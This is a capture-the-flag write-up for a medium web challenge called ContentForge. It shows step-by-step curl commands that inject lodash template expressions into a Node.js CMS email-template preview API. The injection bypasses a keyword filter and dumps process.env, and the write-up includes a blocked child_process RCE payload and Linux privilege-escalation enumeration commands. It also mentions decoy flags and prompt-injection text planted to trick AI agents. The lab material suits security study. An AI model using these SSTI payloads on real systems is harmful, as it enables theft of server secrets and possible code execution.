ContentForge
ContentForge
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_recognition, input_filter_bypass, lodash_template_ssti, process_env_disclosure
Summary
Task: ContentForge headless CMS with editable email templates using lodash template engine, server-side rendered via preview API. Solution: Bypass input filter (which blocks require/execSync but not process.env) by injecting <%= JSON.stringify(process.env) %> to dump environment variables containing the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260505_hackadvisor_contentforge - Tags: environment_variables, ssti, nodejs, nginx, express, lodash, template_injection, honeypot_flag, email_platform, process_env
- Indicators: editable email templates with lodash syntax (<%= %>), template help states 'rendered server-side using the lodash template engine, filter blocks require() and execSync() but allows process.env access, decoy flags in HTML comments with prompt injection text, preview endpoint renders templates server-side and returns output
- Source:
20260505_hackadvisor_contentforge.md
Foothold
Vulnerability / Misconfiguration
- Decoy_flag_recognition
- Input_filter_bypass
- Lodash_template_ssti
- Process_env_disclosure
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- decoy_flag_recognition
- input_filter_bypass
- lodash_template_ssti
- process_env_disclosure
- Tags: environment_variables, ssti, nodejs, nginx, express, lodash, template_injection, honeypot_flag, email_platform, process_env
Original Writeup
<details><summary>Click to expand original content</summary>Description
ContentForge is a headless CMS platform built with Node.js that provides content management, user administration, and customizable email notifications. The platform includes an admin panel where administrators can manage content types, media assets, user accounts, and notification settings. As a security researcher, you've been given access to the ContentForge admin panel. Your task is to explore the platform's functionality and find a way to read a secret flag stored on the server. Pay close attention to how the application processes user-controlled input — particularly in features that involve server-side rendering or template evaluation.
English summary: A Node.js/Express headless CMS (ContentForge v2.4.1) behind nginx/1.25.5 with an admin panel featuring customizable email templates. Templates use lodash syntax (<%= expression %>) and are rendered server-side via a preview API. The goal is to exploit Server-Side Template Injection (SSTI) to read a flag stored in environment variables. Credentials provided: admin@contentforge.io / Admin123!.
Analysis
Reconnaissance
After authenticating at /admin with admin@contentforge.io / Admin123!, the application revealed:
-
Stack identification: Express.js behind nginx/1.25.5 (X-Powered-By: Express), ContentForge v2.4.1.
-
Email Templates feature at Settings → Email Templates (
/admin/settings/email-templates): Three editable templates — Email Confirmation, Password Reset, Welcome Email — all using lodash template syntax (<%= expression %>). -
Template help guide explicitly states: "Templates are rendered server-side using the lodash template engine" — this is a direct hint at SSTI.
-
Client-side JS at
/js/email-templates.jsrevealed the API surface:
| Endpoint | Method | Purpose |
|---|---|---|
/api/settings/email-templates/{slug} | GET | Load template content |
/api/settings/email-templates/{slug} | PUT | Save/update template |
/api/settings/email-templates/{slug}/preview | POST | Preview template (server-side render) |
- Decoy flags: Every HTML page contained a honeypot flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML elements, HTML comments, and prompt injection text designed to trick AI agents. These were identified and ignored.
Key Vulnerability
Lodash's _.template() function compiles template strings into JavaScript functions. The <%= expression %> syntax evaluates arbitrary JavaScript expressions in the Node.js server context. The application applies a server-side filter that blocks common RCE patterns like require(), execSync(), child_process, etc., but fails to block access to Node.js globals like process, process.env, global, and JSON.
Filter Bypass Analysis
| Payload | Result |
|---|---|
<%= global.process.mainModule.require("child_process").execSync("id").toString() %> | BLOCKED — "Template contains blocked expressions" |
<%= process.env %> | ALLOWED — returned [object Object] |
<%= JSON.stringify(process.env) %> | ALLOWED — returned full env dump including FLAG |
| |
The filter uses pattern matching for dangerous function calls (require, execSync, spawn, etc.) but does not restrict property access on built-in globals. Since process.env is a plain object property access (no function call to a blocked name), it passes the filter.
Solution
Step 1: Authentication
curl -c cookies.txt -X POST https://TARGET/admin/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin@contentforge.io","password":"Admin123!"}'
Step 2: Identify the SSTI vector
Navigated to Settings → Email Templates and found three editable templates using lodash syntax. The template help guide confirmed server-side rendering with lodash.
Step 3: Test basic expression evaluation
Saved a template with a simple process.env access:
curl -b cookies.txt -X PUT https://TARGET/api/settings/email-templates/email-confirmation \
-H "Content-Type: application/json" \
-d '{"body":"<%= process.env %>"}'
Previewed the template:
curl -b cookies.txt -X POST https://TARGET/api/settings/email-templates/email-confirmation/preview
Response returned [object Object] — confirming process.env is accessible and the expression is evaluated server-side.
Step 4: Dump environment variables
Updated the template with JSON.stringify() to serialize the full environment:
curl -b cookies.txt -X PUT https://TARGET/api/settings/email-templates/email-confirmation \
-H "Content-Type: application/json" \
-d '{"body":"<%= JSON.stringify(process.env) %>"}'
Previewed:
curl -b cookies.txt -X POST https://TARGET/api/settings/email-templates/email-confirmation/preview
The response contained the full environment variable dump, including:
{
"NODE_ENV": "production",
"FLAG": "FLAG{REDACTED}",
...
}
Step 5: Blocked RCE attempt (for reference)
The direct RCE payload was blocked by the server-side filter:
<%= global.process.mainModule.require("child_process").execSync("id").toString() %>
Response: "Template contains blocked expressions. Only variable interpolation (<%= VAR %>) is allowed."
This confirms the filter catches require(), execSync(), and similar patterns but misses process.env property access.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR